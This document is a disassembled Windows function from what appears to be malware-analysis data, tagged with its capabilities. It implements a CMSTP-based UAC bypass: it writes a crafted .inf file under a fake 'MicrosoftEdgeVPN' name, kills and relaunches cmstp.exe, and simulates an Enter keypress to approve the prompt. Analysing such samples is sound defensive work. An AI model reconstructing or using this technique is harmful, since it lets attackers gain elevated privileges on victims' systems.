Function at 0x1400198e0
Capabilities:
Create process on windows
Delete file
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rsp - 0x320]
sub rsp, 0x420
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x310], rax
mov rdi, rdx
mov ebx, ecx
lea rdx, [rbp - 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, 0x104
lea rax, [rbp - 0x10]
cmp byte [rax], 0
je 0x140019933
inc rax
sub rcx, 1
jne 0x140019925
xor r15d, r15d
mov eax, 0x104
sub rax, rcx
test rcx, rcx
cmove rax, r15
je 0x14001999b
mov r9d, 0x104
lea r8, [rbp - 0x10]
lea r8, [r8 + rax]
sub r9, rax
je 0x14001998d
lea r10, str.tmp.ini
mov eax, 0x7ffffffe
sub r10, r8
nop dword [rax]
test rax, rax
je 0x14001998d
movzx ecx, byte [r10 + r8]
test cl, cl
je 0x14001998d
mov byte [r8], cl
dec rax
inc r8
sub r9, 1
jne 0x140019970
test r9, r9
lea rax, [r8 - 1]
cmovne rax, r8
mov byte [rax], r15b
mov edx, ebx
mov qword [rsp + 0x460], rsi
mov rcx, rdi
call fcn.1400196f0
mov r14, rax
test rax, rax
je 0x1400199e9
mov rdi, 0xffffffffffffffff
mov rbx, rdi
nop
cmp byte [rax + rbx + 1], r15b
lea rbx, [rbx + 1]
jne 0x1400199c0
lea rcx, [rbx + 0x461]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x140019a11
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov rsi, qword [rsp + 0x460]
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.14001a080
add rsp, 0x420
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret
lea rax, str.__nShortSvcName___MicrosoftEdgeVPN_
mov rcx, rsi
mov qword [rsp + 0x38], rax
lea r9, str._version__nSignature___chicago__nAdvancedINF__2.5_n_DefaultInstall__nCustomDestination__CustInstDestSectionAllUsers_nRunPreSetupCommands__RunPreSetupCommandsSection_n_RunPreSetupCommandsSection__n
lea rax, [0x14001ce58]
mov qword [rsp + 0x30], rax
lea r8, str._s_s_n_s_s_s
lea rax, str.taskkill__IM_cmstp.exe__F_n_CustInstDestSectionAllUsers__n49000__49001__AllUSer_LDIDSection__7_n_AllUSer_LDIDSection__n_HKLM____SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsCMMGR32.EXE____ProfileInstallPath_____UnexpectedError_______n_Strings__nServiceName___
mov qword [rsp + 0x28], rax
lea rdx, [rbx + 0x461]
mov qword [rsp + 0x20], r14
call fcn.1400150b0
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp - 0x10]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
je 0x140019ae9
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
inc rdi
cmp byte [rsi + rdi], r15b
jne 0x140019aa4
mov r8, rdi
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x50]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140019af1
lea rcx, str.Failed_to_write_file__n
call fcn.1400023e0
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
jmp 0x1400199e3
mov edx, dword [rsp + 0x50]
lea rcx, str.Wrote__lu_bytes_n
call fcn.1400023e0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.cmstp.exe
call fcn.140019610
test eax, eax
je 0x140019b44
xor edx, edx
mov r8d, eax
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140019b44
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x129
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140019b6f
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400199e9
lea r9, [rbp - 0x10]
mov qword [rsp + 0x20], 0x104
mov r8d, 0x104
lea rdx, [rbp + 0x100]
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
lea rax, [rbp + 0x100]
mov edx, 0x129
lea r9, str.C:WindowsSystem32cmstp.exe
mov qword [rsp + 0x20], rax
lea r8, str.__ls___au___s_
mov rcx, rdi
call fcn.140019540
xorps xmm0, xmm0
lea rcx, str.C:WindowsSystem32cmstp.exe
xor eax, eax
xor r9d, r9d
mov qword [rbp - 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x68], rax
mov rdx, rdi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
movups xmmword [rbp - 0x50], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x20], r15d
movups xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x44], 1
movups xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x40], r15w
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rax, qword [rsp + 0x68]
test eax, eax
jne 0x140019c56
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
jmp 0x1400199e3
mov edx, eax
lea rcx, str._lu_n
call fcn.1400023e0
nop dword [rax]
nop dword [rax + rax]
lea rdx, str.Legit_Express
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov ecx, 0xa
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140019c70
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetForegroundWindow]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0xd
call qword [sym.imp.USER32.dll_keybd_event]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 1
jmp 0x1400199eb